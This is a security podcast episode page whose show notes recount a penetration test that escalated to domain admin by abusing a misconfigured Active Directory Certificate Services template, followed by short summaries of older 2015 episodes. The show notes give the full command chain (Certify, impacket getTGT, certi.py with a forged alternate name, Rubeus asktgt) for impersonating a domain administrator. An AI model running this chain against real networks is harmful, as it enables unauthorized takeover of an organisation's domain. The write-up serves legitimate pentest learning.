7MS #501: Tales of Pentest Pwnage - Part 31

7MS #501: Tales of Pentest Pwnage - Part 31

Today we're closing down 2021 with a tale of pentest pwnage - this time with a path to DA I had never had a chance to abuse before: Active Directory Certificate Services! For the full gory details on this attack path, see the Certified Pre-Owned paper from the SpecterOps crew. The TLDR/TLDL version of how I abused this path is as follows:

Run Certify.exe find /vulnerable, and if you get some findings, review the Certified Pre-Owned paper and the Certify readme file for guidance on how to exploit them. In my case, the results I got from Certify showed:

msPKI-Certificates-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT

Reading through the Certify readme, I learned "This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA)." The Certify readme file walks you through how to attack this config specifically, but I had some trouble running all the tools from my non-domain-joined machine. So I used a combination of Certify and Certi to get the job done. First I started on Kali with the following commands:

sudo python3 /opt/impacket/examples/getTGT.py 'victimdomain.domain/MYUSER:MYPASS' export KRB5CCNAME=myuser.cache sudo python3 ./certi.py req 'victimdomain.domain/MYUSER@FQDN.TO.CERT.SERVER' THE-ENTERPRISE-CA-NAME -k -n --alt-name DOMAIN-ADMIN-I-WANT-TO-IMPERSONATE --template VULNERABLE-TEMPLATE NAME

From that you will get a .pfx file which you can bring over to your non-domain-joined machine and do:

rubeus.exe purge rubeus.exe asktgt /user:DOMAIN-ADMIN-I-WANT-TO-IMPERSONATE /certificate:DOMAIN-ADMIN-I-WANT-TO-IMPERSONATE@victim.domain.pfx /password:PASSWORD-TO-MY-PFX-FILE /domain:victimdomain.domain /dc:IP.OF.DOMAIN.CONTROLLER

And that's it! Do a dir \\FQDN.TO.DOMAIN.CONTROLLER\C$ and enjoy your new super powers!

Avsnitt(704)

7MS #95: How to Make Friends During a Security Assessment

7MS #95: How to Make Friends During a Security Assessment

When you start a security assessment with a company, not everybody's gonna be glad to see you. The IT dept and other employees may have tense shoulders, thinking that this is an Office Space situation where they're interviewing for their jobs. This episode talks about some ways you might be able to get your assessment off to a right start.

17 Sep 20157min

7MS #94: Learn How to Burp - Part 1

7MS #94: Learn How to Burp - Part 1

I've been looking for better ways to learn Burp Suite and I struck gold! Check out my recommendations in today's episode!

15 Sep 20158min

7MS #93: Securing Your Life

7MS #93: Securing Your Life

So yeah, this is kind of off-topic, but have you thought about security in the sense of "What kinds of security things should I be doing before I'm dead?" Today's episode explores that.

11 Sep 20158min

7MS #92: You're Not Ready for Big Boy Security Pants

7MS #92: You're Not Ready for Big Boy Security Pants

Sometimes I get in situations where clients want their WHOLE security program reviewed, but in reality, they are still in the baby steps phase. What's the right thing to do when, for lack of a better term, the client isn't ready to put on their security big boy points?

9 Sep 20157min

7MS #91: Umbrella

7MS #91: Umbrella

Today's episode is about Umbrella, a product from OpenDNS that provides a layer of protection against malware, wifi-jacking and other threats.

3 Sep 20157min

7MS #90: OFFTOPIC-Citizenfour

7MS #90: OFFTOPIC-Citizenfour

We're going offtopic today and talking about the Citizen Four documentary, which centers around the Edward Snowden story.

1 Sep 20158min

7MS #89: AppSpider

7MS #89: AppSpider

Today we're talking about a new (to me) Web site/app scanning tool called AppSpider by Rapid7. Again, this isn't a commercial or paid advertisement. I just like sharing things that I like and use.

27 Aug 20158min

7MS #88: Glasswire

7MS #88: Glasswire

This episode's about a cool security app called GlassWire, which is (kind of) a firewall on steroids. I love it! Oh, and this is not an endorsement or a commercial :-)

25 Aug 20156min

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